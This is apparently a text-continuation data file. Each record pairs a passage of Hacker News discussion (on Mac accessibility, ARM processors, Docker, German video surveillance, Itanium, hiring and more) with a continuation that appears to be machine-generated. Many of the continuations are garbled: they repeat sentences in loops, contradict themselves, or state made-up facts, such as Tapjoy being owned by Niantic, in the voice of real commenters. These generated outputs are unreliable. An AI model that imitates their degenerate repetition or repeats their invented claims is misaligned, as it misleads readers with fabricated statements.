I'm not a developer, I'm just a user who has had to deal with this\nissue.\n\n------\njanc", "input_text": "Over on Mac. NVDA's \"browse mode\"\nfeatures work equally well whether it's Electron, Chrome, or Firefox (and to a\nlesser extent in IE and Edge).\n\nIn another thread, you wrote that Xcode is the best IDE you've found for Mac\nsimply because it's native to the Mac. Have you tried Eclipse? Given that\nEclipse's SWT widget toolkit is based largely on native widgets, it might be\nnative enough. Then again, the editor is custom, so it may still fall short.\n\nI ask you these questions because I'm interested in the perspective of a Mac\nuser who has apparently learned to make very effective use of multiple Mac\naccessibility features.\n\n~~~\nzapzupnz\nI had to install Java and Eclipse to give it a try just to reply to this\ncomment.\n\nI never liked Eclipse, it always felt extremely non-native to me. Nothing much\nseems to have changed.\n\nRight from the start, the Eclipse Installer (by Oomph, apparently) is a web\napp that VoiceOver has difficulty with meaning I have to interact with it\nusing web navigation controls which is a pain when I'm not expecting it.\n\nThe rest of the interface was a bit hit and miss. Either VO could read what\nwas on screen, or it thought I was looking at a table that apparently had no\nelements in it.\n\nTurning VO off and clicking around, still definitely not a native experience,\nthough better than I remember it. Native-handling of text, access to macOS\nServices\u2026 but only in certain parts of the program!\n\nAfter poking around a bit more, it turns out the only places I could get\nnative handling of text were web views (of which there are many);"} +{"output_text": "\nit\u2019s not like Microsoft is going to switch to a 64-bit ARM architecture any\ntime soon.\n\n------\njokoon\nI wonder if it will be possible to run a 32 bit windows on a 64 bit CPU. I\ndon't think it's going to be fast, but it might be possible.\n\n~~~\njokoon\nI guess it will be possible to run a 32 bit windows on a 32 bit CPU. But it\nwill be very", "input_text": " think will be a\nhuge win.\n\n~~~\njeffbee\nIt seems a bit silly to discuss servers based on Apple's architecture before\nthey reveal something with several cores. Mainstream x86 processors have 64\ncores per socket. These are the top contenders in SPEC performance-per-watt\nbenchmarks. Notably, nobody has ever even bothered submitting a SPEC result\nfor an ARM server, in particular not Ampere, whose product \"provides industry\nleading power efficiency/core\" even though there is no evidence to back this\nclaim.\n\n~~~\nsergeykish\nIt is a lucrative market, they have money and followers. I would not believe\nthey could design smartphone processor but here we are. Lets check in five\nyears.\n\n------\ngspr\nStuff like this is one area where Debian and other GNU/Linux distros are so\nvaluable. The architecture doesn't matter much, and the flexible distros are\npoised to adapt well to this heterogeneous world.\n\n------\nsaagarjha\n> Windows, particularly given the ability to run a full-on Linux environment\n> without virtualization\n\nAn effort that Windows seems to be in the direction of abandoning. (Plus,\nwriting these kinds of compatibility layers is complicated but not _super_\ncomplicated. What you really want is performance, and that\u2019s hard.)\n\n~~~\nWowfunhappy\nAre you referring to the fact that WSL2 is technically a VM?\n\nYou're not wrong, but the point seems a bit pedantic\u2014Microsoft is clearly\ninvesting a lot into making WSL2 _feel_ native, and it runs acceptably fast.\n\n~~~\nsaagarjha\nYes, the VM approach won\u2019t work if your underlying architecture changes. And"} +{"output_text": " think the \"real you\" is a myth.\n\nI have a few \"real\" friends, but I have a lot of \"fake\" friends. I have a lot\nof friends that I see once in a while, and I have a lot of friends that I see\nevery day.\n\nI have a lot of friends that I have for a short time, and I have a lot of\nfriends that I have for the rest of my life.\n\nI have a", "input_text": "TR's economic prospects for a decade.\n\n------\nsubzidion\nHere's a TL;DR\n\n> \"the Cincinnati Center City Development Corp.\u2014better known as 3CDC\u2014has\n> invested or leveraged more than half a billion dollars into Over-the-Rhine,\n> buying and rescuing 131 historic buildings and building 48 new ones, while\n> maintaining subsidized housing, rehabilitating parks and driving out\n> criminals with cameras, better lighting, liquor store closings and the\n> development of vacant lots\"\n\n~~~\nantisthenes\nHere's a TL;DR for your TL;DR.\n\nReal estate development corp invests $500 million into gentrifying an area.\n\n~~~\naminok\nYou know how far gone social justice is as an ideology when \"gentrification\"\nhas become a bad word.\n\nGentrification means more safe high quality neighbourhoods for people to live\nin. The local effect might be to price some low income people out of their\ncommunity but the systemic effect is to increase the supply and therefore\nreduce the cost of better quality housing.\n\n \nThe \u2018Real You\u2019 Is a Myth - prostoalex\nhttps://theconversation.com/the-real-you-is-a-myth-we-constantly-create-false-memories-to-achieve-the-identity-we-want-103253\n======\nhrnnnnnn\nThis sounds like the idea of \"no-self\" from Buddhism.\n\n[https://en.wikipedia.org/wiki/Anatta](https://en.wikipedia.org/wiki/Anatta)\n\n~~~\nhelloindia\nAs someone who is studying at the moment, I thought the same.\n\n------\nFri21Sep\nI disagree. I"} +{"output_text": ". They installed cameras in a building and used them to monitor\npeople.\n\n~~~\nmichla\nI live in Freiburg and the city is very much aware of the problems with\nviolence and sexual assault. They have a very active citizen's group called\n\"Neue Heimat\" (New Home) that does a lot of work to help the city deal with\nthese problems.\n\nThey have a very good reputation for dealing with these issues and have been", "input_text": " video\nsurveillance\" to other large cities, starting with Heidelberg this year and\nfocusing on central train and tram stations.\n\nThere are many sources in german about this topic, some praising it, some are\nmore critical. Another such \"pilot project\" is run at Hamburg Hauptbahnhof and\nthat one got a lot more bad feedback, because they also \"try\" facial\nrecognition and tracking smart phone signals.\n\nIt should be noted that the european union invested into this technology\nstarting with the 7th Framework Programm in 2007 under the codenames INDECT,\nADABTS and SAMURAI. Expect to be flagged for \"abnormal, possibly criminal\nbehaviour\" in the future if you run or loiter at a large train station.\n\n~~~\nJon_Lowtek\nGermany: the city of Freiburg is also buying 18 new cameras for the area\n\"Bermudadreieck\" and \"Bertoldstra\u00dfe\". I couldn't find any information on how\n\"smart\" that system is going to be.\n\nIn Darmstadt the central tram hub \"Luisenplatz\" is going to get modern video\nsurveillance, too. Bought from Dallmeier Electronic GmbH & Co. KG. The mayor\nsaid no facial regocnition is planned, even if the vendor offers integration\nwith such systems. Its unknown if advanced behavior analysis is included. It\nis likely that all cities buy from different vendors and may get very\ndifferent quality of automated video content analysis.\n\nIn Hannover the local police veiled their own cameras last year during a\ndemonstration against a new police law. The demonstration asked for that and\nannounced to go to a court and the police just complied without waiting for a\ncourt order"} +{"output_text": " \"The large Japanese\ncompanies who also backed Itanium never were going to make the investments to\nbreak out beyond Japan.\"\n\n~~~\ngh02t\nI mean IBM, HP, and later Red Hat. The other companies were all hedging their\nbets, with some eventually going out of business and others morphing into\nsomething else.\n\n------\njokoon\nI think it's a mistake to think that it's only about performance. It's about\n", "input_text": " Alpha (perhaps the fastest chip of its era), and\n> anything else in the pipeline were all cancelled or deemphasized. Why?\n> Because Itanium was the future for all computing. Why bother wasting money\n> on good ideas that didn't include it?\n\n> The failure of this chip to do anything more than exist as a niche processor\n> sealed the fate of Intel\u2014and perhaps the entire industry, since from 1997 to\n> 2001 everyone waited for the messiah of chips to take us all to the next\n> level.\n\n> It did that all right. It took us to the next level. But we didn't know that\n> the next level was below us, not above. The next level was the basement, in\n> fact. Hopefully Intel won't come up with any more bright ideas like the\n> Itanium. We can't afford to excavate another level down.\n\n~~~\nghaff\nI'm not sure what point Dvorak is even making in that article. Yeah, a lot of\nultimately wasted effort went into Itanium. But we ended up with x86-64 plus a\nsomewhat diminished set of CPUs from some of the big Unix vendors. It's an\ninteresting question but I'm ultimately not sure that the computer industry\nwould look all that different today had Intel just done 64-bit extensions to\nx86 or something similarly evolutionary.\n\nAMD might well not exist. But, except for HP, the big Unix vendors mostly\nhedged their bets anyway. The large Japanese companies who also backed Itanium\nnever were going to make the investments to break out beyond Japan.\n\n~~~\ncodinger\nX86-64/AMD64 was solely developed by AMD and licensed to Intel.\n\nI'm stating this because I can't tell what you mean by:"} +{"output_text": " that Tapjoy is owned by Niantic, who has a far better\nunderstanding of the mobile game space than Google does.\n\n------\njoeevans1000\nI'm not sure why this is news. The author is a former employee of Google who\nhas a history of making anti-google statements.\n\n~~~\njasonlotito\nThat's not a response to the article. That's you making a comment about\nsomeone else's response to the article.", "input_text": "s part as opposed to the percent of apps\npart.\n\nRight now on that metric the top ad networks in order are Admob, then\nMillennial Media, then Inmobi, then Tapjoy. I use the first three, and have\ngotten multiple checks from Admob and MM.\n\nOne thing to watch is ad fill rates. Millennial Media and Inmobi have decent\nad fill rates for certain countries, and poor ones for other. Admob has good\nfill rates for all countries I have seen. Admob mediation allows you to dole\nout ads by country, so that you don't send ads to a network with low fill\nrates for a particular country. Adwhirl is another mediation service owned by\nGoogle - it allows for backfill (if one service has no ads, try to load ads\nfrom another service). Google wants people to migrate from Adwhirl to Admob\nmediation, but Admob mediation has no backfill.\n\nI have a number of non-game apps with various fill rates - usually around 1%,\ngive or take 0.5%. I put out some games a few months ago, and their click-\nthrough rates were all bad - less than 0.5%. As Admob looks at apps as a\nwhole, this poor performance began pulling down the fill rates of my apps with\ngood CTR. I now just advertise my other apps on (most of) my games.\n\nReally, Admob, MM and Inmobi ruled the field until Tapjoy started breaking\nout. Tapjoy has an interesting model, which work well with games which offer\nfreemium points and the like. Back when I tried (a few months ago) their SDK\ninstall methodology for Android was way behind the simplicity of Admob, MM or\nInmobi. Add to this"} +{"output_text": " situation.\n\n------\njrochkind1\nI think this is a really good thing.\n\nI think it's also a really bad thing.\n\nIt's a really good thing because it makes it easy to run your own custom\ndistros.\n\nIt's a really bad thing because it makes it easy to run your own custom\ndistros.\n\nIt's easy to run your own custom distros.\n\nYou can do it with docker.\n", "input_text": " docker image starts within seconds\n\n~~~\nccozan\nIs this more like a Solaris zone or a Linux chroot-ed env?\n\n~~~\nnickstinemates\nA lot like Linux chroot, with some additional features, restrictions, and a\nmechanism to share them easily.\n\n------\nthebigspacefuck\nMakes system administration somewhat easier since the host OS can stay the\nsame and docker containers change, while giving developers more control. I\nhave total control of which version of packages is installed, which OS I'm\nusing. I don't have to create a ticket, argue over the ask, and get approval\njust to change an web server timeout. It sort of usurps the sys admin role,\nthough, which might be a negative. I can move my container anywhere that's\nrunning Docker and all packages are there inside of the container. If you\nspend a lot of time setting up new boxes, that's a plus. Before, I had to dump\nall packages, figure out which ones were missing, then install all of them,\nand the host OS had to be exactly the same. Now I know it's exactly the same,\nall the time, anywhere.\n\nMy only warning is that using anything but Ubuntu for your build host is going\nto take way too long and you're going to be waiting hours for it to complete\nif you don't have any layers cached.\n\n------\ncolordrops\nIt's very useful in situations where you need a reproduceable deployment and\nalso need high performance and direct access to hardware. We run simulations\nthat require a lot of setup, and we tried with VMs at first, but they were too\nslow and the GL driver inside of the VM didn't implement all the extensions we\nneeded. Docker worked perfectly in this"} +{"output_text": " were safe._\n\nOr, they could just do the sensible thing and leave it to the free market to\nregulate.\n\n~~~\nsillygoose\n> _Sure. If they really cared, they could just keep informing the citizenry\n> until they were safe._\n\nThat's not what I said. They could warn the citizenry on the evening news.\n\n~~~\nimron\nThen how would it be different from the current situation?\n\n~~~\n", "input_text": " scenario (1) has a\nstronger claim to be said to be acting in the name of Person A than the person\nelected via process (2).\n\nThe EU is hence less democratic than the institutions is is replacing, and is\nin some sense democratically regressive.\n\n(And this is before any discussion about the differences in the legislative\npath between Westminster and the EU).\n\n~~~\nSagelyGuru\nI agree. Thank you for the expanded explanation of the reasons behind my above\nbrief comment. I just note in passing with wry bemusement, that my comment\nthat sparked such illuminating discussion apparently deserves only 0 points.\n\n------\nsillygoose\nYou know, if EU countries were genuinely concerned about their beloved\ncitizens coming into contact with damaging chemicals, they could warn them on\nthe evening news or something.\n\n \n \n Hey there Dear Citizens, these products have been found\n to cause cancer. Please avoid using them, and tell your\n friends to avoid them too! \n \n Best Regards, \n Your Benevolent, Caring Overlords\n \n\nDo you think that just _might_ have an effect on the companies producing the\ntoxic crap they force on us?\n\n \n \n \"Those naughty companies haven't stopped putting cancer-causing\n chemicals in their products. You should still boycott them.\"\n \n\nIf they really cared, they could just keep informing the citizenry until they\nwere safe.\n\n~~~\nimron\nUh-huh, right, because EU governments have editorial control of the evening\nnews, and also have bigger marketing budgets than the companies producing such\nchemicals.\n\nSure.\n\n _If they really cared, they could just keep informing the citizenry until\nthey"} +{"output_text": " halfway through the flight, the gamer's simulator shows the plane\nstalling and the pilot saying \"oh shit, we're going to crash.\" The gamer\nexplains to the passenger that they're actually doing the same thing, except\nfor the plane.\n\n~~~\njames_s_tayler\nThat's so funny.\n\n------\njames_s_tayler\nI've always wanted to take a flight with my laptop.\n\n~~~", "input_text": "\nstill angry. Should i serve meal early or wait until closer to destination?\"\n\n~~~\nTerminalJunkie\nThis quote was stolen from the comments section on the original article by\nBrian_EE\n\n\"I wonder how realistic the operations of the virtual airlines are. In the\ngame, do you get to have local police come on your plane and beat up your\npassengers and drag them off before you take off on your flight route?\"\n\n~~~\nsandworm101\nFS is pilot-focused. They dont simulate the exciting world of ticket counters\nand baggage limits. But there is probably a german sim that, from the makers\nof AirportSimulator (see nerdcubed's coverage of that series). German\nsimulators are a strange market niche.\n\n~~~\nselimthegrim\nI remember googling furiously once I discovered Euro Truck Simulator to\nconfirm it wasn't some Steam Greenlight prank...\n\n~~~\nyongjik\nI heard that game has some cult followers in Korea. Some gamers buy steering\nwheels and gears, put on the monitor a sticker saying \"Freight Union\", wear\nfingerless gloves and a red Freight Union vest, and start driving while\nlistening to radio...\n\n------\nsqueaky-clean\nThis reminds me of a story I read in PCGamer long ago (I tried searching for\nthe article, but I don't even know if it was published online). The author got\ninto their seat for a flight, next to someone with a gaming laptop running a\nflight simulator. They chatted about video games for a while, and the gamer\nexplains that they like to set up the simulator to play the same flight they\nare currently taking, and try to take off and land at the same time.\n\nAbout"} +{"output_text": "I know this from experience).\n\nSecond, the strap is adjustable, so you can set it to the right tension for\nyour posture.\n\nThird, the strap is elastic, so it will adapt to your posture.\n\nFourth, the strap is made of natural material, so it won't harm your skin.\n\nFifth, the strap is water resistant, so it won't get damaged by the rain.\n\nSixth, the strap is easy to wash.\n", "input_text": " it on about 20 trees, of all shapes I could find here in Vancouver,\nBC, coding on my laptop for 8 hours a day. No noticeable damage with a naked\neye, using the prototype. The bark doesn't get damaged, because once\neverything is tightened, there's no movement or wiggling, only a compression.\nMost bark can handle the compression. So even if you bump into the tree,\nnothing's going to happen.\n\nThe manufactured product will probably have some padding on the lugs, it may\nnot be wood lugs, but maybe rubber lugs. Or metal or wood lugs, with rubber\npadding glued on.\n\nThe way I set in in the prototype, is when the bolt of the lug rotates, the\nlug also rotates. So I have to set it right, and then just use it at that\nposition. For the manufactured product, I'd like to set it, then tighten the\nbelt a little, then allow to screw the lug bolt so that the mounting bar would\nbecome vertical. This means that the lug must have a bearing, that would make\nthe rotating bolt (or shaft) rotate freely, without moving anything on the\nbark, so that the bark doesn't get damaged.\n\n------\nbryanrasmussen\nIt looks too complicated for me, it would probably just make me think I will\nsit on the ground with my laptop. However I feel the concept could be made to\nappeal to someone as lazy as me with some simplification - I'm thinking if\neverything could be focused on the strap.\n\n~~~\nboris1\nFirst, it gets cold to work sitting if it's Spring time (15 degrees Celcius).\nIs this case, only working standing keeps you warm enough, since the blood is\ncirculating. ("} +{"output_text": " 3+ billion) that can\ncontribute to your company's success.\n\nI'm not saying hire everyone, but if you are going to hire, hire. And if you\naren't going to hire, don't be a jerk about it.\n\n>Or am I to assume that when you want to hire a plumber you canvass your\nneighborhood door-to-door so you dont miss out on someone who might be\nqualified but just drummed out of", "input_text": " doesn't make it a\ngood idea.\n\n> _And perhaps there aren 't enough resources to improve said process and\n> handle a greater volume of potentially unqualified applicants._\n\nThat's how you handle a great volume of applicants - you look for indicators\nof skill. None of them are necessary or sufficient; they just increase the\nlikelihood that this will be a good hire a little bit. Giving every single\nperson who is able to use the \"resume\" template in Microsoft Word an in-person\ninterview would catch those false negatives you're missing, but it would be\nridiculously inefficient.\n\nOr am I to assume that when you want to hire a plumber you canvass your\nneighborhood door-to-door so you dont miss out on someone who might be\nqualified but just drummed out of the plumbing industry for institutional\nreasons?\n\nAlthough I do like how you dismissed points 2-8 with a simple handwaving of\n\"elite males are more likely to score higher on these points, so they're no\ngood.\"\n\nNot to mention the fact that that argument does virtually nothing to\ncontracdict point #8. If youre someone who truly believes they're a Great\nProgrammer Who's Not Being Given a Chance Due To White Male Supremacy, a\ngithub profile is the greatest arrow in your quiver that you could possibly\ndream of.\n\n~~~\nthelock85\nI'm not following most of your points here (standalone maybe but not with\nrespect to my comments). No one is saying you don't need to ID signals in the\nnoise or define quality indicators of skill.\n\nBut if your company is taking on the diversity challenge then yes, start with\nthe fact that there is 7+ billion people, (or at least"} +{"output_text": " a rough start and had to bootstrap. But I think that's\nwhat made him who he is today. He's had to learn the hard way what it takes to\nbe successful.\n\n~~~\njoeevans1000\nI think the title is a bit misleading. I think the HN community is very\nsensitive to the idea that you can \"make it\" without having to work very hard\nat all.\n\n~~~\nhiou\nI think the title is a bit", "input_text": "iehackers.com/businesses/humanpredictions?utm_source=hacker-news&utm_campaign=interview-promotion&utm_medium=social\n======\nhiou\nHe basically gets a spot in the family business which he uses as a launchpad\nto creating a SaaS product. Come on, this title is so far off from reality. No\nproblem with what he did and it sounds like he does a great job, but let's at\nleast keep the titles from indiehackers somewhat accurate. It gives a lot of\npeople thinking about starting their own company really unrealistic\nexpectations.\n\n~~~\ngregorymichael\nAs someone who has known Elliot from the Chicago scene for the last ~10 years,\nI have to push back on this.\n\nElliot hustled his ass off doing his own thing, working recruiting for\nGroupon, working as one of the founding employees of DevBootcamp Chicago to\nget graduates gigs (and doing so with great success), and then back to his own\nrecruiting before launching Human Predictions based on feedback from his\nclients and experiences.\n\nHe became, at least in my circles, the most trusted recruiter amongst\ndevelopers. Many thought of him as more of an \"agent\" than a recruiter.\nSomeone you could grab coffee with every six months who'd keep you in mind if\nthe perfect gig came up. I referred friends to him all the time without\nconcern that he'd spam them, hard-sell them, put them in whatever spot that\nwas open just to reap the commission. He's always had the developer's interest\nin mind first and foremost.\n\nI understand the sentiment that these stories can sometimes over-simplify the\njourney. Yes, he had"} +{"output_text": " profit as they used to.\n\n------\njokoon\nI wonder if the US government could pressure the chinese government to stop\nhacking US companies. I mean, the US is a major customer of china, and the\nchinese government is probably making money from the trade.\n\nI wonder if the US could threaten to stop buying from china, or at least\npressuring the chinese government to stop hacking US companies.\n\n~~~\nmarchen", "input_text": "secuted by the government? Did they want to go against the hackers both\ncriminally and civilly?\n\n~~~\nsubcosmos\nWhy is it that intelligence agencies are still conducting their activities\nduring their countries working hours?\n\nYou'd figure it would be easier to find nocturnal neckbeards anyways.\n\n~~~\nscintill76\nIn this case, the timezones probably line up to make Chinese working hours the\nbest time to do this work.\n\n------\n_cs2017_\n> unfair business practices originating from China are costing the American\n> economy more than $57 billion a year, White House officials believe\n\nAnd yet the companies who supposedly lose that money don't care.\n\nIt reminds me a little of the $200-250B \"lost\" to piracy by the movie and\nmusic industry ([http://freakonomics.com/2012/01/12/how-much-do-music-and-\nmov...](http://freakonomics.com/2012/01/12/how-much-do-music-and-movie-piracy-\nreally-hurt-the-u-s-economy/)). To be more precise it reminds me of how\neveryone likes to create large impressive numbers that prove their point or\nsupport their agenda.\n\n~~~\nwestiseast\nI suspect the amount is a mix of things:\n\n* Investment in IP that then gets stolen. * Loss of potential earnings as American companies are locked out of Chinese markets * Loss of actual earnings as American/global consumers switch to Chinese companies (eg huawei) that are accused of unfair business practices or receiving unfair government subsidies.\n\nSome companies \u201cdon\u2019t care\u201d because they aren\u2019t actually losing money, they\u2019re\njust not making as much"} +{"output_text": " create. And if that $200B were spent on real research, not\njust on media campaigns, it would be worth it.\n\n~~~\nivankirigin\nI think the point is that the debate is not about the science. It's about\nwhat the consequences are.\n\nThe debate is not about the science. It's about what the consequences are.\n\n~~~\nryanwaggoner\nI don't disagree with that. But the US is already spending $", "input_text": " 1998.\n\nSo no, there continues to be _no evidence that vaccines cause autism_. And\npeople still remain unconvinced until they hear something stronger.\n\n~~~\nivankirigin\nYou're obviously correct. You are also 3 sigma out in your understanding of\nthe issue.\n\nThe response to bad science should be in the same dumbed down language that\nthe bad science used.\n\n~~~\ndschobel\nI disagree. You can see the repercussions from that in things like the Global\nWarming stories where everyone at HN collectively cringes when terms like\n\"scientific consensus\" are tossed about.\n\nThere's no short-cut to good science and dumbing it down fundamentally\ndiminishes it. Honest people still care about facts and science.\n\n~~~\nivankirigin\nGlobal warming is a perfect example. There are way too many people that point\nto a cold day and say: see?!\n\nThe message should be: there are huge changes going on right now, on a huge\nscale, beyond today's temperature.\n\nThe debate is also often linked to a proposed solution, which is a big\nmistake. Cap & Trade or a carbon tax are two of dozens of potential solutions.\nThatSmugFucksPrius\u2122 is not a solution, but way too often involved in the\nmessaging.\n\nDo you think there would be a big global warming debate if the proposed\nresponse was $200B a year in research? I don't. That is chump change with a\nbunch of positive externalities.\n\n~~~\nryanwaggoner\nSorry, but if the US decided to spend $200B per year on climate change\nresearch, which is decidedly not chump change, \"debate\" hardly describes the\nfuror that would"} +{"output_text": "us_law_enfo.php\n======\npatio11\nThis is a great example of why you should never, _ever_ put your trust in the\ngovernment. If they hadn't been so obsessed with the idea of \"looking\nprominently bad\" they wouldn't have thought that a \"war on drugs\" would\neffectively write off the entire industry.\n\nThe US government is not a business. It is an organization that is tasked with\nprotecting the", "input_text": "_rajasek\nNot to nitpick but your about page shows that universitytutor.com was started\nin 2004 but your post shows that you started the site in 2008? Also the\ndashboard shows decreasing timeline which means you are either losing\ncustomers and below the 200 (can't guess the scale) subscribers or there is a\nsimple error somewhere...\n\nWhat are we missing?\n\n~~~\nbarmstrong\nGood point - I actually first registerred and built a site back in 2004 but it\nwas a different business (matching people manually in Houston only). 2008 was\nwhen I switched it over to a directory site that was open to anyone and let\ntutors and students contact each other directly (also rebuilt it in rails).\n\nNot sure what you mean on the graph though - it seems correct to me.\n\n~~~\nsenthil_rajasek\nThe dashboard graph shows just a months worth of data and for some reason I\nthought the timeline was decreasing. Congratulations on your success.\n\n------\ndfischer\nCongratulations. That's a great milestone.\n\n------\nantidaily\nThe site is beautiful. Nice work!!\n\n~~~\nbarmstrong\nI did the programming, but hired this guy to design it:\n\n\nI'd recommend him, he was good and fairly priced. (Found him on 99designs).\n\n------\nqq66\nNice job dude! -Amal\n\n------\nohashi\nCongrats :)\n\n------\ncinimod\nThat's an AWESOME dating service.\n\n \n70,000 Blogs Shut Down by U.S. Law Enforcement - dwynings\nhttp://www.readwriteweb.com/archives/70000_blogs_shut_down_by_"} +{"output_text": ".net for example.\n\n~~~\nbenkuhn\nThat's a good point. I hadn't considered that.\n\n------\njokoon\nI wonder if it would be possible to train a neural network to recognize\nspoken words, and then use that to transcribe speech.\n\nI wonder if it would be possible to train a neural network to recognize spoken\nwords, and then use that to transcribe speech in a foreign language.\n\n~~~\nyar", "input_text": " scientist says \"I can prove these two\npeople have ESP and can pick the same #\". He sits them in two separate rooms\nand has her first pick a number. He goes to the second room and has him pick a\nnumber. 17? No higher. 24? No higher. 52? No lower. 43? Yes exactly!!\n\n\"See, these two people both came up with the same number without any\ncommunication with each other. ESP!\"\n\nIf they want to show this language learning is powerful, demonstrate that once\ntrained it can now be applied to a third language without any new \"adversarial\nfeedback\".\n\nOr it reminds me of the fake \"we can communicate faster than light via quantum\nentanglement\" claims. But then the caveat comes that they can only figure out\nwhat the value of the bit of info they communicated was causally.\n\n~~~\nbenkuhn\nI think you missed something.\n\nPreviously, machine translation required being trained on a bilingual corpus,\nthat is, a corpus of _the same set of sentences_ in eg English and French.\nThese corpora are pretty hard to come by and expensive to produce.\n\nThe paper describes a technique to use two monolingual corpora instead, i.e.\none set of sentences in English and a _different_ set of sentences in French.\nThat's _way_ easier to find.\n\nIt's far from just a definitional trick.\n\n~~~\nJPLeRouzic\n>> These corpora are pretty hard to come by and expensive to produce.\n\nActually there are lot of texts translated by qualified translators in several\nlanguages, for political reasons: EU's commission websites, perhaps some other\ncountries official websites.\n\nYou can have a look at Linguee"} +{"output_text": ".co.uk/news/magazine-31691395\n======\njzwinck\nThe idea of \"transit-oriented development\" (TOT) was first proposed in the\n1970s. It was a reaction to the widespread adoption of the automobile and the\nconsequent sprawl that followed. TOT is a reaction to the idea that we can\nhave everything we need within a few miles of any place.\n\n[https://en.wikipedia.org", "input_text": "of devices, buffers and formats. and that's only for one OS. and if you start\ndoing anything non-trivial, making the programs work well in real-time is not\nfor the faint of heart.\n\nif there was a single format supported everywhere, minimum buffer sizes and a\ncommon API for all OSes, it would be a whole another, much more pleasant story\n\n------\nPaulDavisThe1st\n[ Edited/Deleted reply because I missed the fact that this code distributes a\nsingle mono signal across 2 outputs. The terminology for this stuff is never\ntotally clear: some people would call this a mono panner, some would call it a\nstereo panner, some call it a 1in/2out panner ]\n\n~~~\nInsanity\nHey there, yep I'm actually aware of what you're saying. I actually wrote this\nat the bottom of the post:\n\n\"There is actually a flaw with this panning function that we are using.\nHowever it is not apparent to us yet because we can only set a pan for an\nentire audio source\"\n\nI'm working from something simple up to something more complex, but tackling\nit in small parts. Next I'm writing about applying breakpoints where the pan\ncan be set throughout the track and you can notice the power dip - and then\nwe'll work on fixing that. ;-)\n\n~~~\nPaulDavisThe1st\nFor some reason, I just realized that despite your talk about 2 channel WAV\nfiles, this code is actually a 1 input to 2 output panner.\n\nSo I take back what I said about it being a balance control entirely. Sorry\nfor that.\n\n \nCan a city really ban cars from its streets? (2014) - antr\nhttp://www.bbc"} +{"output_text": " because of the radiation from\nChernobyl?\n\n~~~\nDerbasti\nWhy is this downvoted? I'm not trying to make a point here. I'm asking\nquestions about the article. I'm not trying to be rude. I'm genuinely curious\nabout this.\n\n~~~\nDanBC\n> I'm not trying to be rude.\n\nYou're not trying to be polite.\n\n> I'm genuinely curious about this.\n\nYou", "input_text": " of property?\n\nGiven just a slight increase in illness rate for the sheer number of people\ninvolved can give a hard to detect but significant cost. An insurer will have\nto set aside enough money for the expected amount of payout. What would Warren\nBuffett's premiums be? Some claims will be excluded by the insurer, and the\nrest of the population will probably be called to for economic assistance: how\nmuch will that be? What is the opportunity cost of having half a million\npeople cleaning up the place instead of being productive?\n\nFeel free to peruse the [IAEA report about\nChernobyl]([http://www.iaea.org/Publications/Booklets/Chernobyl/chernoby...](http://www.iaea.org/Publications/Booklets/Chernobyl/chernobyl.pdf)).\nWhat is the total economic cost? Maybe \"hundreds of billions of dollars\"? See\nthe report for estimates.\n\nSo yes, we shouldn't run away from radiation. We should clean it up safely,\nthen come to our senses and stop dispersing any more of it. This technology is\na dead-end for normal energy production.\n\n------\nRatfish\nA'spokesman' has just announced in the last few hours that there are high\ncesium levels in leaking water that is measuring 1Sv per hour. That going to\nbe somewhere in the depths of the plant, but living about as far away from\nthis ad is possible is a comfort to me.\n\n------\nadlep\nI've seen a similar titled article about the Fukoshima plant on HN called:\n\"Why I am not worried about Japan\u2019s nuclear reactors.\"\n\n------\nDerbasti\nHow about all those people dying from cancer"} +{"output_text": "aneous things, and that's not always possible.\n\n~~~\njoe_the_user\nI think the problem is that we don't have a good way to allocate scarce\nskills.\n\nIf a job is easy to automate, it's not clear that it's worth paying someone to\ndo it.\n\nIf a job is hard to automate, it's not clear that it's worth paying someone to\ndo it.\n\nIf a job can't", "input_text": " even if you are\nlucky enough to care about the big picture, you probably don't care about\nimplementing yet another responsive XML cloud-based enterprise SEO keyword. If\nyou are qualified for your job, you mostly have a pretty good idea of the\nsolution to the puzzle, so it's not fun to solve. As Quincy Jones said, \"If\nyou go into the studio to make money, God leaves the room.\"\n\nAnd a lot of us have a hard time adjusting to this once we turn programming\nfrom a hobby into a career (which is how most of us got here). We keep\nworking, thinking we'll somehow recapture how it felt to program when we were\ntinkering with HyperCard on a 1980 Apple, but it never happens because the\nwhole structure of what we're doing has changed.\n\nThere's nothing wrong with you. The problem isn't you, it's the structure that\neconomic leaders to build an economy that forces people to work toward the\neconomic leaders' goals rather than their own goals. To quote Joe The\nBarbarian, \"It's not the picture that's upside down, it's the world.\"\n\nI don't have a good solution to this problem. I love programming when I do it\nfor myself, and I've spent countless hours writing compilers/interpreters\nwithout reaping a dime from it (okay, I guess I've gotten jobs due to people\nbeing impressed by my compilers/interpreters, but the economic payoff is\nnegligible compared to the effort). The best I have come up with is to opt out\nof the economy as much as possible, and find ways to work fewer hours while\nmaking enough money to do what I want. The best I can do is minimize the time\nI'm wasting on extr"} +{"output_text": "inds me of the old saw about the US Navy: \"If you can't\nget out, stay out.\"\n\n~~~\njjeaff\nI think the US Navy is the only other example I can think of where if you\ndon't stay out, you will be thrown out.\n\n~~~\nthrowawaygh\nThe US Navy is the only other example I can think of where if you don't leave\nthe building you will be thrown out.\n\n------\n", "input_text": " until 200 words later. However,\nit's once you get past what's sitting in the buffer in your brain that things\ndrastically slow down.\n\nAs a slight aside, not knowing your personal history or the grades you got in\nhigh school, it's quite rare to see someone with a clear and (what appears to\nbe) a natural writing talent coming from a programming background. From what\nI've seen, programming has a propensity to decrease literacy skills. It's\nespecially impressive that it wasn't your standard five-paragraph essay, some\npeople manage to succeed at those and fail at anything a hint more complex.\n\n------\nTheSOB88\nWhat this needs is a chunk model - to be able to see what was written in one\nchunk, from the first insert up to the next delete, then to the next insert,\netc. You'd be able to see more clearly the purpose of every keystroke and\nwouldn't miss the small word changes, while also not having to press \"next\" 60\ntimes to see a sentence unfold.\n\nOh yeah, by the way, cool idea.\n\n \nApple, ARM, and Intel - jonbaer\nhttps://stratechery.com/2020/apple-arm-and-intel/?href=\n======\nthrowawaygh\nThe most important paragraph in this piece is last one, which plugs a $22.8\nbillion bill to support domestic semiconductor manufacturing in the USA and\nsuggests the need for new entrants.\n\nSemiconductor manufacturing is truly one of the few remaining manufacturing\nindustries in which the USA has a competitive advantage (albeit quite eroded\nby TSMC over the past few years).\n\nEspecially with US aviation circling the drain, this is an industry we can't\nafford to lose. Rem"} +{"output_text": " and want to start a startup - joshuahenry\n\n======\njoshuahenry\nI'm a co-founder of , and I wrote this up of my experience trying to find a co-founder. I'm sharing it here in the hope that it helps someone else looking to find a co-founder.\n\nI'm a non-technical founder looking to find a co-founder. I've been looking for", "input_text": "\nprofile updates and other signals to tell if a candidate is on the move. We\nalso got to HN frontpage last night for our candidate job portal[2]. 